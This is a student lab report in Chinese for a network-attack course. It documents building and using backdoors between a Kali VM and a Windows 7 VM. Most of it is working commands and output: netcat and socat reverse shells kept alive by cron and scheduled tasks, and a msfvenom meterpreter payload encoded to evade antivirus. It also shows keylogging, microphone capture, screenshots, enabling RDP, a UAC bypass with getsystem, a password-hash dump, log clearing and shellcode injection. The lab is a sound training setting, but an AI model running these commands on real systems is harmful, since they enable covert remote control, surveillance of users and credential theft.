后门原理与实践

20175314 2020-3 《网络对抗技术》Exp2 后门原理与实践 Week4

一、实践目标

1、实践对象

  • 基于VMware虚拟机上运行的64位Windows7系统与64位KaliLinux系统
  • 传统配方的pwn可执行文件

2、实践内容

  • 使用netcat获取主机操作Shell,cron启动;
  • 使用socat获取主机操作Shell, 任务计划启动;
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell;
  • 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权;
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

二、基础知识

1、实践要求

  • 熟悉后门的概念
  • 使用netcat实现Win,Linux之间的后门连接
  • 掌握meterpreter的应用
  • 了解MSF POST模块的应用
  • 学会Win,Linux的后门启动方式

2、指令/参数

  • -p使用的payloa(有效载荷,被运输的东西),这里windows/meterpreter/reverse_tcp就是一段shellcode
  • -x使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中
  • -e使用的编码器,用于对shellcode变形,为了免杀
  • -i编码器的迭代次数。如上即使用该编码器编码5次
  • -bbadchar是payload中需要去除的字符
  • LHOST反弹回连的IP
  • LPORT回连的端口
  • -f生成文件的类型
  • >输出到哪个文件

3、预备知识

后门概念

  • 所谓后门,就是不经过正常认证流程而访问系统的通道
  • 后门宿主:
    • 编译器留后门
    • 操作系统留后门
    • 应用程序中留后门
    • 潜伏于操作系统中或伪装为特定应用的专用后门程序

后门工具

  • netcat(nc/ncat):底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用

  • soCat:Netcat++,超级netcat工具,可以建立双向的加密的数据通道,任何代理、转发等功能都可以用该工具实现

  • Meterpreter:msfvenom生成的后门可执行文件

    • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接
    • Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息
    • 对于Meterpreter的基本功能可以通过help查询帮助菜单得到
  • meterpreter的生成

msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
#详细定义参数,-i 5意为使用编码器编码了五次,据说编码次数越多免杀概率越大,但是相应的生成时间也越长,可执行文件的大小也会随之发生变化
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 `PORT=443 -f exe > meter_backdoor.exe
#这是简化版的生成指令

实践原理

meterpreter > help

Core Commands
=============
    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bg                        Alias for background
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    guid                      Get the session GUID
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Open an interactive Ruby shell on the current session
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    pivot                     Manage pivot listeners
    pry                       Open the Pry debugger on the current session
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    secure                    (Re)Negotiate TLV packet encryption on the session
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for "load"
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel

Stdapi: File system Commands
============================
    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table

Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyboard_send  Send keystrokes
    keyevent       Send key events
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    mouse          Send mouse events
    screenshare    Watch the remote user's desktop in real time
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
=======================
    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam

Stdapi: Audio Output Commands
=============================
    Command       Description
    -------       -----------
    play          play an audio file on target system, nothing written on disk

Priv: Elevate Commands
======================
    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands
================================
    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands
========================
    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

预备知识

  • Windows获取Linux Shell

    • Windows运行监听指令nc.exe -l -p 5314

    • Linux反弹连接Windowsnc 192.168.40.128 5314 -e /bin/sh

  • Linux获取Windows Shell

    • Linux运行监听指令nc -l -p 5314

    • Windows反弹连接Linuxnc.exe 192.168.40.130 5314 -e cmd.exe

  • 利用ncat传输文件

    • Kali生成后门程序

    • Windows进入接收文件模式,文件传输成功

三、实践步骤

1、使用netcat获取主机操作Shell,cron启动

  • Windows运行监听指令nc.exe -l -p 5314
  • Linux反弹连接,cron启动36 * * * * /bin/netcat 192.168.40.128 5314 -e /bin/sh(时间设置-分/时/日/月)

2、使用socat获取主机操作Shell, 任务计划启动

  • Linux运行监听指令socat - tcp:192.168.40.128:5314

  • Windows反弹连接,设置任务计划启动

    • 打开计算机管理器创建任务

    • 新建操作,操作为启动socat.exe tcp-listen:5314 exec:cmd.exe,pty,stderr

    • 设置新的触发器,修改时间,勾选已启用

    • 开启taskeng.exe,状态正在运行

    • Kali Linuxsocat - tcp:192.168.40.128:5314(WindowsIP)

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 这里使用代码块详细注释
root@kalimark:/home/mark20175314/桌面/20175314Mark/Exp2# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.130 LPORT=5314 -f exe > 20175314_backdoor.exe
# 这里的IP地址(LHOST)为控制端IP(KaliIP),生成基于Windows平台(X64?)/使用meterpreter组件/使用TCP反弹连接的方式的执行文件20175314_backdoor.exe,这里没有设置编码次数
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
# 这里应该是可执行文件的占用空间大小,可能Shellocode码/具体参数/编码器编码次数都会有一定影响
root@kalimark:/home/mark20175314/桌面/20175314Mark/Exp2# msfconsole

[-] ***rting the Metasploit Framework console...|
[-] * WARNING: No database support: No database YAML file
[-] ***
                                                  
# cowsay++
 ____________
< metasploit >
 ------------
          ,__,
          (oo)____                                                                                                                                                                                                                        
           (__)    )                                                                                                                                                                                                                      
              ||--|| *                                                                                                                                                                                                                     
# 这里的图案丰富有趣,我想起了在实验楼学习到的指令printerbanner/toilet/figlet                                                                                                                                                                                                                                       
                                                                                                                                                                                                                                           
       =[ metasploit v5.0.75-dev                          ]                                                                                                                                                                                
+ -- --=[ 1970 exploits - 1088 auxiliary - 339 post       ]                                                                                                                                                                                
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]                                                                                                                                                                                
+ -- --=[ 7 evasion                                       ]                                                                                                                                                                                
                                                                                                                                                                                                                                                
msf5 > use exploit/multi/handler                                                                                                                                                                                                           
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
# 据说反弹连接的方式较为安全一般不会被防火墙发现                                                                                                                                                                  
payload => windows/meterpreter/reverse_tcp                                                                                                                                                                                                 
msf5 exploit(multi/handler) > set LHOST 192.168.40.130
# 这里的IP地址(LHOST)依然是控制端的(KaliIP)
LHOST => 192.168.40.130                                                                                                                                                                                                                    
msf5 exploit(multi/handler) > set LPORT 5314
LPORT => 5314
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.40.130   yes       The listen address (an interface may be specified)
   LPORT     5314             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.40.130:5314
# 在控制端只会执行到这里,然后我们就要在被控制端(Windows7)打开后门程序(20175314_backdoor.exe)
# 在实验过程中我们可以在控制端后门程序可执行目录下执行指令20175314_backdoor.exe或直接双击打开
# 那么它又是怎么从控制端到被控制端的呢?我尝试过使用指令nc传输文件,但是不知为何ncat的指令在官网下载的netcat上使用屡遭失败,因此我才知道nc/ncat的区别(我一直以为没什么区别,确实也没什么大的区别,但是不知道为什么就是造成了问题3)
# 但是最后还是简单粗暴地使用文件拖拽的方式先把它复制到了主机的桌面上,在这个步骤前一定要关闭所有杀毒软件,特别是Windows Defender(防火墙和实时保护)
# 在我第一次尝试时忘记关闭Windows Defender带来了惨痛教训(问题4),后来两台虚拟机都仙逝了,重建后不知为何明明VMTools还在正常上班,但是文件拖拽功能掉线了,所以共享文件夹终于派上了用场
# 再看实际应用中,这两种方式其实都是可以实现,但是似乎直接复制后门程序(我使用的方式)更简单,可以通过木马绑定工具将后门程序直接绑定在正常软件上在用户不知不觉中打开连接,而nc/ncat并不是每一个Windows用户都有的,Linux用户另当别论
[*] Sending stage (180291 bytes) to 192.168.40.128
# 这里只要打开后门程序就会出现,好像即使以前开启过这里还要再重新开启一次,所以顺序应该是exploit->backdoor.exe
[*] Meterpreter session 1 opened (192.168.40.130:5314 -> 192.168.40.128:49163) at 2020-03-16 19:14:57 +0800

meterpreter > dir
# 查看当前文件夹下的所有文件,Windows的ls?我知道Linux的ls功能强大但是好像Windows的dir也具有一些拓展功能
Listing: C:UsersMarkDesktop
cat
===================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100777/rwxrwxrwx  73802    fil   2020-03-16 19:11:24 +0800  20175314_backdoor.exe
100666/rw-rw-rw-  1261568  fil   2020-03-16 15:50:30 +0800  libeay32.dll
100777/rwxrwxrwx  73802    fil   2020-03-16 15:44:08 +0800  meter_backdoor.exe
100666/rw-rw-rw-  970912   fil   2020-03-16 15:50:30 +0800  msvcr120.dll
100777/rwxrwxrwx  386048   fil   2020-03-16 15:50:30 +0800  ncat.exe
100666/rw-rw-rw-  295424   fil   2020-03-16 15:50:30 +0800  ssleay32.dll
# 这里显示的r/w/-是指当前用户对此文件的权限,说到权限让我们继续往下看如何实现提权

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 这里使用代码块详细注释

获取shell码

meterpreter > shell
Process 2656 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:UsersMarkDesktop
cat>dir
dir
 ������ C �еľ�û�б�ǩ��
 ��������� DC4D-E871

 C:UsersMarkDesktop
cat ��Ŀ¼

2020/03/16  19:11    <DIR>          .
2020/03/16  19:11    <DIR>          ..
2020/03/16  19:11            73,802 20175314_backdoor.exe
2016/03/16  23:26         1,261,568 libeay32.dll
2020/03/16  15:56            73,802 meter_backdoor.exe
2013/11/18  13:07           970,912 msvcr120.dll
2016/03/29  23:40           386,048 ncat.exe
2016/03/16  23:26           295,424 ssleay32.dll
               6 ���ļ�      3,061,556 ��
               2 ��Ŀ¼ 52,625,907,712 ������
# 乱码不一定是意味着error,真正的出现error一般都是堂堂正正地报错

测试录音

Usage: record_mic [options]

Records audio from the default microphone.
# 首先目标机器要具有麦克风,VMware是支持这样的功能的,我经常在主机权限中看到VMware在使用我的麦克风有一点疑惑
OPTIONS:

    -d <opt>  Number of seconds to record (Default: 1)
    -f <opt>  The wav file path (Default: '/home/mark20175314/桌面/20175314Mark/Exp2/[randomname].wav')
    -h        Help Banner
    -p <opt>  Automatically play the captured audio (Default: 'true')

meterpreter > record_mic -d -8 -f capture_audio_exp2_test.wav
# 录制8s多了好像说什么不足(存储空间还是内存)
[*] Starting...
[-] webcam_audio_record: Operation failed: Not enough storage is available to process this command.
meterpreter > record_mic -1 -8 -f capture_audio_exp2_test.wav
[*] Starting...
[*] Stopped
Audio saved to: /home/mark20175314/桌面/20175314Mark/Exp2/capture_audio_exp2_test.wav
# 这里告诉我们录制的音频保存的路径,是不是有窃听的感觉...

获取摄像头

meterpreter > list           #查看摄像头
meterpreter > webcam_snap    #通过摄像头拍照
meterpreter > webcam_stream  #通过摄像头视频
[-] Target does not have a webcam
# 虚拟机没有连接主机的摄像头,如果目标机器是主机的话还是可以体验用镜子照镜子的快乐的

屏幕截图

meterpreter > screenshot                                                                                           
Screenshot saved to: /home/mark20175314/桌面/20175314Mark/Exp2/JpiPTPaU.jpeg
# 这里告诉我们截取的图片保存的路径,画质有待提升还有一点疑问:据我所知Windows截图时默认都是PNG格式的,这里是不是在传输过程中自动转换成了jpeg格式?还是msfvenom指令中screenshot工具的截图方式是jpeg?

获取远程桌面

meterpreter > run post/windows/manage/enable_rdp

[*] Enabling Remote Desktop
[*]     RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]     The Terminal Services service is not set to auto, changing it to auto ...
[*]     Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20200316203514_default_192.168.40.128_host.windows.cle_695632.txt
# 这里为什么保存的是一个txt文件?是错误报告吗?

获取击键记录

# 先在目标机器的控制台执行一些指令
meterpreter > keyscan_start
Starting the keystroke sniffer ...                                                                                 
meterpreter > keyscan_dump
Dumping captured keystrokes...
f<^H>dir<CR>
cla<^H>eat<^H>r<CR>
20175314<Caps Lock>M<Caps Lock>ark<CR>
# 这算不算是键盘钩子?那就很厉害了,如果我理解能力够强还是能够看出来被攻击用户到底使用了哪些按键

查看进程/进程迁移

  • 让我们先看看别攻击机器的进程是怎么样的,后门程序的位置格外显眼

  • 这时候我们是不是就要考虑怎样才能够避免被被攻击用户直接关掉,于是进程迁移来了

meterpreter > ps

Process List
============

 PID   PPID  Name                   Arch  Session  User                          Path
 ---   ----  ----                   ----  -------  ----                          ----
 0     0     [System Process]                                                    
 4     0     System                 x64   0                                      
 164   636   WmiPrvSE.exe           x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32wbemWmiPrvSE.exe
 280   4     smss.exe               x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32smss.exe
 324   516   svchost.exe            x64   0        NT AUTHORITYLOCAL SERVICE    C:WindowsSystem32svchost.exe
 356   348   csrss.exe              x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32csrss.exe
 408   348   wininit.exe            x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32wininit.exe
 420   400   csrss.exe              x64   1        NT AUTHORITYSYSTEM           C:WindowsSystem32csrss.exe
 456   400   winlogon.exe           x64   1        NT AUTHORITYSYSTEM           C:WindowsSystem32winlogon.exe
 512   796   audiodg.exe            x64   0                                      
 516   408   services.exe           x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32services.exe
 524   408   lsass.exe              x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32lsass.exe
 532   408   lsm.exe                x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32lsm.exe
 580   628   taskmgr.exe            x64   1        WIN-NU3F9PBPO7FMark          C:WindowsSystem32	askmgr.exe
 588   420   conhost.exe            x64   1        WIN-NU3F9PBPO7FMark          C:WindowsSystem32conhost.exe
 636   516   svchost.exe            x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32svchost.exe
 700   516   svchost.exe            x64   0        NT AUTHORITYNETWORK SERVICE  C:WindowsSystem32svchost.exe
 796   516   svchost.exe            x64   0        NT AUTHORITYLOCAL SERVICE    C:WindowsSystem32svchost.exe
 860   516   svchost.exe            x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32svchost.exe
 892   516   svchost.exe            x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32svchost.exe
 924   2428  20175314_backdoor.exe  x86   1        WIN-NU3F9PBPO7FMark          C:UsersMarkDesktop
cat20175314_backdoor.exe
 1048  516   svchost.exe            x64   0        NT AUTHORITYNETWORK SERVICE  C:WindowsSystem32svchost.exe
 1152  516   spoolsv.exe            x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32spoolsv.exe
 1188  516   svchost.exe            x64   0        NT AUTHORITYLOCAL SERVICE    C:WindowsSystem32svchost.exe
 1344  516   msdtc.exe              x64   0        NT AUTHORITYNETWORK SERVICE  C:WindowsSystem32msdtc.exe
 1404  516   VGAuthService.exe      x64   0        NT AUTHORITYSYSTEM           C:Program FilesVMwareVMware ToolsVMware VGAuthVGAuthService.exe
 1432  516   vmtoolsd.exe           x64   0        NT AUTHORITYSYSTEM           C:Program FilesVMwareVMware Toolsvmtoolsd.exe
 1752  516   svchost.exe            x64   0        NT AUTHORITYNETWORK SERVICE  C:WindowsSystem32svchost.exe
 1940  636   WmiPrvSE.exe           x64   0        NT AUTHORITYNETWORK SERVICE  C:WindowsSystem32wbemWmiPrvSE.exe
 1992  516   dllhost.exe            x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32dllhost.exe
 2288  516   taskhost.exe           x64   1        WIN-NU3F9PBPO7FMark          C:WindowsSystem32	askhost.exe
 2404  860   dwm.exe                x64   1        WIN-NU3F9PBPO7FMark          C:WindowsSystem32dwm.exe
 2428  2372  explorer.exe           x64   1        WIN-NU3F9PBPO7FMark          C:Windowsexplorer.exe
 2540  2428  vm3dservice.exe        x64   1        WIN-NU3F9PBPO7FMark          C:WindowsSystem32vm3dservice.exe
 2548  2428  vmtoolsd.exe           x64   1        WIN-NU3F9PBPO7FMark          C:Program FilesVMwareVMware Toolsvmtoolsd.exe
 2680  2428  cmd.exe                x64   1        WIN-NU3F9PBPO7FMark          C:WindowsSystem32cmd.exe
 2760  516   SearchIndexer.exe      x64   0        NT AUTHORITYSYSTEM           C:WindowsSystem32SearchIndexer.exe
 2856  516   wmpnetwk.exe           x64   0        NT AUTHORITYNETWORK SERVICE  C:Program FilesWindows Media Playerwmpnetwk.exe
 3040  516   svchost.exe            x64   0        NT AUTHORITYLOCAL SERVICE    C:WindowsSystem32svchost.exe
  • 没有打开IE那就HOOK到控制台上吧
meterpreter > migrate 2680
# 我们找到cmd.exe的PID(操作系统里指进程识别号,也就是进程标识符)然后migrate (from 924 to) 2680
[*] Migrating from 924 to 2680...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 2680
# 这里显示迁移成功后的当前PID(换个说法可以说是进程的身份证号)

提权获取密码

meterpreter > background
[*] Backgrounding session 1...
# 记住这个数字(我的是1)
msf5 exploit(multi/handler) > search bypassuac
# 这里是使用background命令之后就自动退出到msf的命令行了
Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------
   0   exploit/windows/local/bypassuac                        2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass
   1   exploit/windows/local/bypassuac_comhijack              1900-01-01       excellent  Yes    Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)
   2   exploit/windows/local/bypassuac_dotnet_profiler        2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via dot net profiler)
   3   exploit/windows/local/bypassuac_eventvwr               2016-08-15       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)
   4   exploit/windows/local/bypassuac_fodhelper              2017-05-12       excellent  Yes    Windows UAC Protection Bypass (Via FodHelper Registry Key)
   5   exploit/windows/local/bypassuac_injection              2010-12-31       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection)
   6   exploit/windows/local/bypassuac_injection_winsxs       2017-04-06       excellent  No     Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS
   7   exploit/windows/local/bypassuac_sdclt                  2017-03-17       excellent  Yes    Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)
   8   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   9   exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)
   10  exploit/windows/local/bypassuac_vbs                    2015-08-22       excellent  No     Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)
   11  exploit/windows/local/bypassuac_windows_store_filesys  2019-08-22       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)
   12  exploit/windows/local/bypassuac_windows_store_reg      2019-02-19       manual     Yes    Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry


msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
msf5 exploit(windows/local/bypassuac) > set session 1
# 这里的1就是使用background查看到的session数值
session => 1
msf5 exploit(windows/local/bypassuac) > run

[*] Started reverse TCP handler on 192.168.40.130:5314 
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (180291 bytes) to 192.168.40.128
[*] Meterpreter session 2 opened (192.168.40.130:5314 -> 192.168.40.128:49165) at 2020-03-16 20:31:48 +0800

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 6c0fa85c4e0b4fb895071f08844eea46...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Mark:1000:aad3b435b51404eeaad3b435b51404ee:4ac6ce1412382e6ae38b323fa08fc50d:::
# 确实显示出目标机器各个用户名了

补充实用指令(详见实践原理)

meterpreter > uictl [enable/disable] [keyboard/mouse/all]   #开启或禁止键盘/鼠标
meterpreter > uictl disable mouse                           #禁用鼠标
meterpreter > uictl disable keyboard                        #禁用键盘
meterpreter > execute                                       #在目标机中执行文件
meterpreter > execute -H -i -f cmd.exe                      # 创建新进程cmd.exe,-H不可见,-i交互
meterpreter > kill <pid值>                                  #杀死进程
meterpreter > clearav                                       #清除windows中的应用程序日志、系统日志、安全日志
meterpreter > run post/windows/gather/checkvm               #是否虚拟机(根据系统调整Windows还是Linux)
meterpreter > run post/windows/gather/forensics/enum_drives #查看分区
meterpreter > run post/windows/gather/enum_applications     #获取安装软件信息
meterpreter > run post/windows/gather/dumplinks             #获取最近的文件操作
meterpreter > run post/windows/gather/enum_ie               #获取IE缓存
meterpreter > run post/windows/gather/enum_chrome           #获取Chrome缓存
meterpreter > run post/windows/gather/enum_patches          #补丁信息
meterpreter > run post/windows/gather/enum_domain           #查找域控
meterpreter > run post/windows/gather/enum_patches          #查看补丁信息
  msf > use exploit/windows/local/ms13_053_schlamperei
  msf > set SESSION 2
  msf > exploit

5、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 首先来到全是英文的Exploit Database官网物色一段和自己一见钟情的shellcode码

  • 就用这个大家用过都说好的2018-05-14

  • 然后就是复习实验一第三个步骤的过程(如果选择的是64位的shellcode还可以复习逆向进阶)

  • 使用正宗的传统工艺注入我们的shellcode和首地址到这个16进制文件input里

  • 还是原来的配方还是熟悉的味道

# 这一步需要打开两个端口,然后细细品读从Exploit下载的C语言代码内容并找到关键的核心信息
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1     # 回送地址,由shellcode的内容选择,下载时文件名标注上有
set LPORT 4444          # 端口号,由shellcode的内容选择,下载时文件名标注上有
show options
exploit


四、实践报告

1、遇到的问题

  • (1)Windows能够Ping通Kali,Kali不能Ping通Windows

  • (1)解决方案:首先要关闭Windows的防火墙,如果还不可以则检查以下设置

  • 如果还不可以则检查Kali的相关服务器是否完整且在线

  • (2)X86平台不能兼容X64的程序?

  • (2)解决方案:在32位Win7系统上打不开64位Kali创建的后门程序是因为这样的吗?事实上这并不是主要问题,但是为了标准环境我还是重新安装了一个64位的Win7系统并证明了这个事实,问题还是出在了netcat传文件的问题上,原来的传文件实际上好像只是在目标机器上创建了一个空的可执行文件,这里文件大小为0,详见问题(3)

  • (3)netcat竟然传输文件失败?

  • (3)解决方案:我还以为这可能是件很玄学的事情,因为我之前是到官网下载的netcat,我也一直以为netcat(nc)和ncat没区别,可是就当我无从下手的时候使用ncat传输就成功了,事实上ncat弥补了netcat缺乏加密和身份验证的能力这方面的缺陷

  • (4)在通过主机文件系统复制后门程序的时候没有关闭杀毒软件会怎样?

    • 直接宕机弹出窗口
    • 尝试重启主机系统重启VMware
  • (4)解决方案:因为我的电脑里没有安装第三方的防护软件一直都用的是系统自带的Windows Defender,但是它又一直缺乏存在感,以致我确实忘了它小小的身体存在大大的能量,因为文件来自于Kali系统并最后送往了Windows系统,所以两台虚拟机双双阵亡,我没有找到有效的能够解决我问题的方法于是我打开了之前备份好打包在ZIP里的的Kali系统并再一次安装了一小时以前刚刚安装好的64位Windows系统,无情关闭主机的实时保护,但是实验结束后必须要记得还原

  • (5)使用完整的指令生成meterpreter后门程序编码错误

  • (5)解决方案:刚准备和这个问题死磕到底的我一不小心试了一下简化版的指令然后成功了,然后就快乐地继续往下做实验了

2、基础问题回答

  • (1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 下载盗版软件/木马程序被植入后门,点击钓鱼网站/虚假邮件被植入后门等等。我们在日常生活中应该事事谨慎,随着经济社会和互联网技术的发展进步,个人信息的泄漏会严重扰乱正常的生产生活秩序,我们应该非常重视信息安全的意义并且每个人都应该掌握基本保障自己信息安全的方法。

  • (2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows开机自启动或者用户手动开启,实验过程也有利用crontab或Windows计划任务来定时定向使用反弹连接的方式与攻击方连接。

  • (3)Meterpreter有哪些给你映像深刻的功能?

  • 摄像功能/击键记录功能/关闭进程功能/清理文件(日志)的功能/获取缓存功能/查看补丁信息功能。监控摄像可以知道用户在现实生活干什么,获取击键记录从可以窃取用户的信息(在用户输入账号、密码时被记录下来),关闭进程和清理文件都能够严重破坏用户信息系统对用户造成一定损失,获取缓存功能或是查看补丁信息都能让用户的信息系统处于非常危险的状态。

  • (4)如何发现自己有系统有没有被安装后门?

  • 安装权威的杀毒软件,保证它时时刻刻正常稳定运行的同时还要定时定期对电脑进行查杀。

3、实验收获与感想

  • 本次实验具有现实意义,我本来对自己的信息系统很有信心,但是当自己都能够在理想化的情况下实现简单基本的后门攻击后,我就感觉到其实我们的隐私信息还有系统安全并没有那么固若金汤,但我还是相信网络安全公司和Microsoft勤勤恳恳地修复补丁在一定程度上能够保护每一位普通用户的个人信息安全,但是只有通过自己掌握一定的相关知识和技能才能够保证自己的信息系统更独立更安全,不用完全依赖于第三方(我们都不知道第三方自己有没有设置后门或者是黑客什么时候攻击他们的服务器成功了)。
  • 完成了这个实验我更加期待怎样让自己的后门程序避免被杀毒软件检测和怎样在被攻击的时候做些什么进行实时防卫和反击。
